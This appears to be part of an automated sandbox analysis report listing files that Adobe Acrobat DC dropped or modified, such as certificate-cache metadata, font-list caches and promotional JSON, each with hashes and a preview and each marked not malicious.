Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklptcDtfllXlE/HT8kO7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKfeT85RNMa8RdWBwRd
MD5:	738ED6305C921416CA754A2D4BEBF713
SHA1:	5F55438700308B78A2DFFECCE164B44D89A2F1DD
SHA-256:	67F71BCC7EFB370E98C463890BE21B88EF28D2C0D76BD598ECD85FF215E64F51
SHA-512:	3EE8BA2990C3123FB16B90A60D6E41480978A802A495B57805BEEA2B07955F79053E0BF5BA0F98696A80A43D3C53B60D9EC16C81982BD9CCB9C07F566BB0484F
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W...."...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKlkPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:WPiDImsLNkPlE99SNxAhUe/3
MD5:	0FFC908E9327B64317385152078FD924
SHA1:	7B010F95C2E5BA6DC16A3B3A07EA8F50B6921263
SHA-256:	CFF0AA2633C15285CFD9F232027D143E7E72295351ABE4048574BB38CDE971D8
SHA-512:	03F9E3425F0509F0A3BF219A7FBC92A937FA326E63A0DA930C6716B16F1442AAA7B8886512340BDA1998F6F069DDA390F4F288ED0AEF006E26B8C5942BA3CEC5
Malicious:	false
Preview:	p...... ..........9..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6408

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6408

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346448113974247
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJM3g98kUwPeUkwRe9:YvXKX+ikQWOUYpW7uGMbLUkee9
MD5:	B75FBA74173C472F7160D3E2D8A2B6C4
SHA1:	04013A609196339777371F87E9808E5DCF906CB9
SHA-256:	EBD2C1E19FE02C5F70F62BD39488EF1BC2DAD3C42751CB30DB68CE69379C885C
SHA-512:	96602CA65F143E794F48CF88CE7661A6BFB9AE41BBF230E8722686DFA2A9F5CD54EA5816352B11E1E79895934E1E029C726FF67CE54352B68CC4F12372DD32E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2809617585319595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfBoTfXpnrPeUkwRe9:YvXKX+ikQWOUYpW7uGWTfXcUkee9
MD5:	E4ED5D5B2D55C997ED590E54AE444306
SHA1:	05EEBAD4C8DFEC89B47ADC2538A2998FDE86DB41
SHA-256:	0E873C68931DA5438D3995B6D658F450500958AE3CE69FF8281E010BAF5DF90C
SHA-512:	6B2DA1A6A574B088076509AB5490E84EDAE2C9EA696E4092A83AB059D398CDC887C918FE00037653192200C17A3501638B1B82B7FE76EEE4B5C9CFA1C81C0BE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2600412227369215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfBD2G6UpnrPeUkwRe9:YvXKX+ikQWOUYpW7uGR22cUkee9
MD5:	AE80302BC909E17B5CCD7B82EDD1567A
SHA1:	E46ABCE59B167B170C89E7DAA12CF0FF94330527
SHA-256:	6F4D4300043B37D6063B9E0318F43A855CD091B2CEFC5DFF9E970A80DDA6E440
SHA-512:	32843D86575D211A97BD725F985F604BFAE7A74D119E4CDD4687148AEABDE9E0A9E7D034AB9A6A29D34A31D289980B99C9841FEEDF960870FE9A8BFBFB747B06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324747473300359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfPmwrPeUkwRe9:YvXKX+ikQWOUYpW7uGH56Ukee9
MD5:	A8FAE3A356AB15A8346D6201F420A64B
SHA1:	A818A64B7F7CB036AEF9CE9894889E5A9D077D00
SHA-256:	F7BDC44E95B3DD4D187CA1ACEDE25CE8079449A30B8A95AC9BE88D9151DABDE5
SHA-512:	9822BE14A305A253C0C3864A4F232DF78840FE2E01EBB1524C7B5CB4852EE79A52F07F1724FEBEC14E9B149CBBECFABA7B1E5DAFA5D6ABDBD0A0A4BDAE91666A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688370179228541
Encrypted:	false
SSDEEP:	24:Yv6X+i+OFibpLgE9cQx8LennAvzBvkn0RCmK8czOCCSB:YvM+Vbhgy6SAFv5Ah8cv/B
MD5:	1B97591ECBEAEE155C6549CAD9C12B84
SHA1:	6131AC7987BC2C315D5B7FC2ADDB099446EAC7BE
SHA-256:	A1EC7A20FB813BE2842264DBA59E6EBA8D023BD7FDE99E2E2EA98048F838F8AB
SHA-512:	01EFA8817C44865CADB74415E14FB38419E41EF7D0F48EAC5549F25305064631BAEE9CE2B988CF8ECA6975AB59EE3602516485875D81B862A6C40DE1BF5F93B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270111824542642
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJf8dPeUkwRe9:YvXKX+ikQWOUYpW7uGU8Ukee9
MD5:	EC133A7F6495B20A2737269D2283DF4B
SHA1:	7DAAEC4B89819BA30C8B572117D6448D0374837F
SHA-256:	524E7386EAF2E636ED3E1B8FC833C6B628639012F3EEF6C91EEC4C8A884CE836
SHA-512:	143A8FEC6DF1944A793F43668C9F0A032D17C760B02CA1A383F4CC893DC36B83CDAB687CE51BE8BDCE24570D42C3402AF1DE813E14F9BB06E8505173EC3898DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270857508579599
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfQ1rPeUkwRe9:YvXKX+ikQWOUYpW7uGY16Ukee9
MD5:	6E5454CFB369032E9E744DC55B14FDD1
SHA1:	D24950B8E8CB73BD097648EA24ECE94BCFC0AFFB
SHA-256:	28501A45756AA4D8909B70292DD444AAAAEFA0B6F56946C9F7CF9BC3F1D0518F
SHA-512:	8CFB7FF4A2A1E800F9FD23DCAEE057A2C418B97B7FFD1D9DA2CF45E7B38C9B9CAAD882827177B56BE107CFACE9716476A26274A1D177FEDFBF5038E5A06F1FD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292895395952153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfFldPeUkwRe9:YvXKX+ikQWOUYpW7uGz8Ukee9
MD5:	610B11B49B6197103099203E9356E0E9
SHA1:	087B80F59CFBBC2F371ABF27483B0F247A023C1F
SHA-256:	A14C1F1227111863AD29C2512BE0B7A63D559AD6064115ED73F1A3D40F3E0088
SHA-512:	1F787904047227A97602D5A7D5946B51A552CBC985C154F7F6CB95C45CB944B6D18F70FAF99C4D8340267841DBEECAB255AA7F1407348992C20CB2718FFC7FC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297356806854964
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfzdPeUkwRe9:YvXKX+ikQWOUYpW7uGb8Ukee9
MD5:	F67401AED56F88FDA2EBA3E96E523744
SHA1:	7D795102BF6B073CCDF1AA6A9163122943A89C3B
SHA-256:	7E64759BF85282B799B71C98446388FAF06D9F72878485165538EF6D8037F957
SHA-512:	76A46D61CC094E7CF34425FECCB9D0A4E198FF87D80859D9456702DAE7F3AB566809BDEA5ED8E955775FE60928A65EB515FB0D31C91CB7D56565DCA03FF94C92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2775436607553585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfYdPeUkwRe9:YvXKX+ikQWOUYpW7uGg8Ukee9
MD5:	34F1AF94B1DA2F451D98030EAC2DFE58
SHA1:	0656E42AE2F8D88B5FDAE8C3E9A9B0FE5D62B9D2
SHA-256:	114927AC7C85E6C2E950C11105C7F965299FF8C2F1C80A61E5CFB96BB34CDA3B
SHA-512:	CAE580F6E264ACC83781E6259BF0CFE566B5F67849C7559470C1234E3D53AD0A6A06D94122ACE3B78147FF0676B5CFE2B80533843B1D9B2D4D65B365FCEFDD3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2640475164825995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJf+dPeUkwRe9:YvXKX+ikQWOUYpW7uG28Ukee9
MD5:	3FE97ABAC819FDF2086C0746B13E7C73
SHA1:	13FA6925A91507721808D973DD3D19428C3F669F
SHA-256:	CBE09A034F967AC6B5F2E9E290644EEB23DECC145754A94583B895CCE556ED90
SHA-512:	5F5A9F38C11B444A8E06D45EBFB0B6C974713D8E292DE2FE3157B227651C04656251F50B64B9AD13DEADB1D3E324AE43D044D277D346915E818B27C600424D05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261245097530559
Encrypted:	false
